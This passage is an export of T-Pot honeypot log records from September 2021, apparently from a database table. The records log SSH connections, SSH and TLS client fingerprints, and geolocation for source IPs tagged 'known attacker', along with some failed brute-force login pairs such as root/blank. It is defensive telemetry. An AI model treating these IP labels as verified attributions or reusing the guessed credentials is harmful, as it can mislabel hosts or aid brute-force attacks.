"curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}}	1	\N	cowrie.client.kex	\N	\N	\N
28447	176.122.188.154	109.199.241.180	Fatt	2021-09-20 14:17:39.55859+03	2021-09-20 14:30:02.845524+03	{"_id": "fwbtAnwBvYTbRNuEAy4y", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "176.122.188.154", "asn": 41018, "as_org": "Omnilance Ltd", "dma_code": 803, "latitude": 34.0549, "location": {"lat": 34.0549, "lon": -118.2578}, "timezone": "America/Los_Angeles", "city_name": "Los Angeles", "longitude": -118.2578, "postal_code": "90014", "region_code": "CA", "region_name": "California", "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "ip_rep": "known attacker", "src_ip": "176.122.188.154", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,rsa-sha2-512,rsa-sha2-256,ssh-rsa,ssh-dss", "hassh": "f555226df1963d1d3c09daf865abdc9a", "ccacts": "none", "ccastc": "none", "ceacts": "aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc", "ceastc": "aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc", "client": "SSH-2.0-libssh_0.9.6", "cmacts": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1", "cmastc": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none"}, "protocol": "ssh", "src_port": 48454, "dest_port": 22, "timestamp": "2021-09-20T11:17:39.558590", "@timestamp": "2021-09-20T11:17:39.558Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	known attacker	\N
28448	176.122.188.154	109.199.241.180	Cowrie	2021-09-20 14:17:39.387352+03	2021-09-20 14:30:02.847523+03	{"_id": "gAbtAnwBvYTbRNuEBC4R", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "176.122.188.154", "asn": 41018, "as_org": "Omnilance Ltd", "dma_code": 803, "latitude": 34.0549, "location": {"lat": 34.0549, "lon": -118.2578}, "timezone": "America/Los_Angeles", "city_name": "Los Angeles", "longitude": -118.2578, "postal_code": "90014", "region_code": "CA", "region_name": "California", "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "176.122.188.154", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 176.122.188.154:48454 (192.168.176.2:22) [session: a4a6b70f29a6]", "session": "a4a6b70f29a6", "@version": "1", "protocol": "ssh", "src_port": 48454, "dest_port": 22, "timestamp": "2021-09-20T11:17:39.387352Z", "@timestamp": "2021-09-20T11:17:39.387Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	known attacker	\N
28449	176.122.188.154	109.199.241.180	Cowrie	2021-09-20 14:17:39.391549+03	2021-09-20 14:30:02.848523+03	{"_id": "gwbtAnwBvYTbRNuEBC4S", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "176.122.188.154", "asn": 41018, "as_org": "Omnilance Ltd", "dma_code": 803, "latitude": 34.0549, "location": {"lat": 34.0549, "lon": -118.2578}, "timezone": "America/Los_Angeles", "city_name": "Los Angeles", "longitude": -118.2578, "postal_code": "90014", "region_code": "CA", "region_name": "California", "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "176.122.188.154", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-libssh_0.9.6'", "session": "a4a6b70f29a6", "version": "b'SSH-2.0-libssh_0.9.6'", "@version": "1", "timestamp": "2021-09-20T11:17:39.391549Z", "@timestamp": "2021-09-20T11:17:39.391Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	known attacker	\N
28450	116.110.220.49	109.199.241.180	Fatt	2021-09-20 14:17:41.36374+03	2021-09-20 14:30:02.849524+03	{"_id": "kwbtAnwBvYTbRNuECy4D", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "116.110.220.49", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "src_ip": "116.110.220.49", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519-cert-v01@openssh.com,ssh-ed448-cert-v01@openssh.com,ecdsa-sha2-nistp521-cert-v01@openssh.com,ecdsa-sha2-nistp384-cert-v01@openssh.com,ecdsa-sha2-nistp256-cert-v01@openssh.com,ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com,ssh-rsa-cert-v01@openssh.com,ssh-dss-cert-v01@openssh.com,ssh-ed25519,ssh-ed448,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,ecdsa-sha2-1.3.132.0.10,rsa-sha2-256,rsa-sha2-512,ssh-rsa,ssh-dss", "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "ccacts": "zlib@openssh.com,zlib,none", "ccastc": "zlib@openssh.com,zlib,none", "ceacts": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "ceastc": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "client": "SSH-2.0-AsyncSSH_2.1.0", "cmacts": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "cmastc": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 47426, "dest_port": 22, "timestamp": "2021-09-20T11:17:41.363740", "@timestamp": "2021-09-20T11:17:41.363Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
28452	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:17:42.250349+03	2021-09-20 14:30:02.851524+03	{"_id": "mwbtAnwBvYTbRNuEDy7M", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 116.98.160.162:50924 (192.168.176.2:22) [session: 9781e7724d13]", "session": "9781e7724d13", "@version": "1", "protocol": "ssh", "src_port": 50924, "dest_port": 22, "timestamp": "2021-09-20T11:17:42.250349Z", "@timestamp": "2021-09-20T11:17:42.250Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	known attacker	\N
28453	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:17:42.287167+03	2021-09-20 14:30:02.853524+03	{"_id": "nQbtAnwBvYTbRNuEDy7M", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-AsyncSSH_2.1.0'", "session": "9781e7724d13", "version": "b'SSH-2.0-AsyncSSH_2.1.0'", "@version": "1", "timestamp": "2021-09-20T11:17:42.287167Z", "@timestamp": "2021-09-20T11:17:42.287Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	known attacker	\N
28454	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:17:45.640513+03	2021-09-20 14:30:02.854523+03	{"_id": "sQbtAnwBvYTbRNuEGy6G", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "eventid": "cowrie.login.failed", "message": "login attempt [user/1234Brazil] failed", "session": "9781e7724d13", "@version": "1", "password": "1234Brazil", "username": "user", "timestamp": "2021-09-20T11:17:45.640513Z", "@timestamp": "2021-09-20T11:17:45.640Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	known attacker	\N
28455	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:17:46.919625+03	2021-09-20 14:30:02.855524+03	{"_id": "twbtAnwBvYTbRNuEIy5X", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "eventid": "cowrie.session.closed", "message": "Connection lost after 4 seconds", "session": "9781e7724d13", "@version": "1", "duration": 4.666532039642334, "timestamp": "2021-09-20T11:17:46.919625Z", "@timestamp": "2021-09-20T11:17:46.919Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	known attacker	\N
28456	160.44.201.156	109.199.241.180	Fatt	2021-09-20 14:17:47.794318+03	2021-09-20 14:30:02.856525+03	{"_id": "wQbtAnwBvYTbRNuEJi5f", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "160.44.201.156", "asn": 34086, "as_org": "T-Systems International GmbH", "latitude": 51.2993, "location": {"lat": 51.2993, "lon": 9.491}, "timezone": "Europe/Berlin", "longitude": 9.491, "country_name": "Germany", "country_code2": "DE", "country_code3": "DE", "continent_code": "EU"}, "src_ip": "160.44.201.156", "dest_ip": "192.168.20.116", "@version": "1", "fatt_tls": {"ja3s": "ec74a5c51106f0419184d0dd08fb05bc", "ja3sCiphers": "49200", "ja3sVersion": "771", "ja3sAlgorithms": "771,49200,65281-11-35-23", "ja3sExtensions": "65281-11-35-23"}, "protocol": "tls", "src_port": 443, "dest_port": 35020, "timestamp": "2021-09-20T11:17:47.794318", "@timestamp": "2021-09-20T11:17:47.794Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	tls	\N	\N	\N	\N
28457	160.44.201.156	109.199.241.180	Fatt	2021-09-20 14:17:48.263872+03	2021-09-20 14:30:02.858523+03	{"_id": "wAbtAnwBvYTbRNuEJi5f", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "160.44.201.156", "asn": 34086, "as_org": "T-Systems International GmbH", "latitude": 51.2993, "location": {"lat": 51.2993, "lon": 9.491}, "timezone": "Europe/Berlin", "longitude": 9.491, "country_name": "Germany", "country_code2": "DE", "country_code3": "DE", "continent_code": "EU"}, "src_ip": "160.44.201.156", "dest_ip": "192.168.20.116", "@version": "1", "fatt_tls": {"ja3s": "ec74a5c51106f0419184d0dd08fb05bc", "ja3sCiphers": "49200", "ja3sVersion": "771", "ja3sAlgorithms": "771,49200,65281-11-35-23", "ja3sExtensions": "65281-11-35-23"}, "protocol": "tls", "src_port": 443, "dest_port": 35022, "timestamp": "2021-09-20T11:17:48.263872", "@timestamp": "2021-09-20T11:17:48.263Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	tls	\N	\N	\N	\N
28458	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:17:48.338942+03	2021-09-20 14:30:02.859524+03	{"_id": "xAbtAnwBvYTbRNuEJi5f", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "5.188.62.196", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 47954, "timestamp": "2021-09-20T11:17:48.338942", "@timestamp": "2021-09-20T11:17:48.338Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
28459	5.188.62.196	109.199.241.180	Cowrie	2021-09-20 14:17:48.333697+03	2021-09-20 14:30:02.860524+03	{"_id": "xQbtAnwBvYTbRNuEJy5B", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "5.188.62.196", "asn": 44050, "as_org": "Petersburg Internet Network ltd.", "latitude": 55.7386, "location": {"lat": 55.7386, "lon": 37.6068}, "timezone": "Europe/Moscow", "longitude": 37.6068, "country_name": "Russia", "country_code2": "RU", "country_code3": "RU", "continent_code": "EU"}, "sensor": "b63cdd9641b8", "src_ip": "5.188.62.196", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 5.188.62.196:47954 (192.168.176.2:22) [session: 4b1b382aa686]", "session": "4b1b382aa686", "@version": "1", "protocol": "ssh", "src_port": 47954, "dest_port": 22, "timestamp": "2021-09-20T11:17:48.333697Z", "@timestamp": "2021-09-20T11:17:48.333Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	\N	\N
28460	5.188.62.196	109.199.241.180	Cowrie	2021-09-20 14:17:48.336696+03	2021-09-20 14:30:02.861523+03	{"_id": "xgbtAnwBvYTbRNuEJy5B", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "5.188.62.196", "asn": 44050, "as_org": "Petersburg Internet Network ltd.", "latitude": 55.7386, "location": {"lat": 55.7386, "lon": 37.6068}, "timezone": "Europe/Moscow", "longitude": 37.6068, "country_name": "Russia", "country_code2": "RU", "country_code3": "RU", "continent_code": "EU"}, "sensor": "b63cdd9641b8", "src_ip": "5.188.62.196", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-Go'", "session": "4b1b382aa686", "version": "b'SSH-2.0-Go'", "@version": "1", "timestamp": "2021-09-20T11:17:48.336696Z", "@timestamp": "2021-09-20T11:17:48.336Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	\N	\N
28461	116.110.220.49	109.199.241.180	Cowrie	2021-09-20 14:17:42.515702+03	2021-09-20 14:30:02.863524+03	{"_id": "oAbtAnwBvYTbRNuEDy7N", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.110.220.49", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "116.110.220.49", "eventid": "cowrie.login.failed", "message": "login attempt [root/blank] failed", "session": "2feb97ee9362", "@version": "1", "password": "blank", "username": "root", "timestamp": "2021-09-20T11:17:42.515702Z", "@timestamp": "2021-09-20T11:17:42.515Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	\N	\N
28462	116.98.160.162	109.199.241.180	Suricata	2021-09-20 14:17:42.528859+03	2021-09-20 14:30:02.864523+03	{"_id": "oQbtAnwBvYTbRNuEES6P", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "AsyncSSH_2.1.0"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "116.98.160.162", "dest_ip": "192.168.20.116", "flow_id": 2178452204935572, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_client_banner"]}, "src_port": 50924, "dest_port": 22, "timestamp": "2021-09-20T11:17:42.528859Z", "@timestamp": "2021-09-20T11:17:42.528Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	known attacker	\N
28481	36.27.214.211	109.199.241.180	Cowrie	2021-09-20 14:17:52.983713+03	2021-09-20 14:30:02.888523+03	{"_id": "9QbtAnwBvYTbRNuEOi7M", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "36.27.214.211", "asn": 4134, "as_org": "Chinanet", "latitude": 30.294, "location": {"lat": 30.294, "lon": 120.1619}, "timezone": "Asia/Shanghai", "longitude": 120.1619, "region_code": "ZJ", "region_name": "Zhejiang", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "36.27.214.211", "eventid": "cowrie.session.closed", "message": "Connection lost after 2 seconds", "session": "f9e93abe46a4", "@version": "1", "duration": 2.8350160121917725, "timestamp": "2021-09-20T11:17:52.983713Z", "@timestamp": "2021-09-20T11:17:52.983Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	known attacker	\N
28463	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:17:42.529027+03	2021-09-20 14:30:02.865524+03	{"_id": "ogbtAnwBvYTbRNuEEi7U", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "116.98.160.162", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", 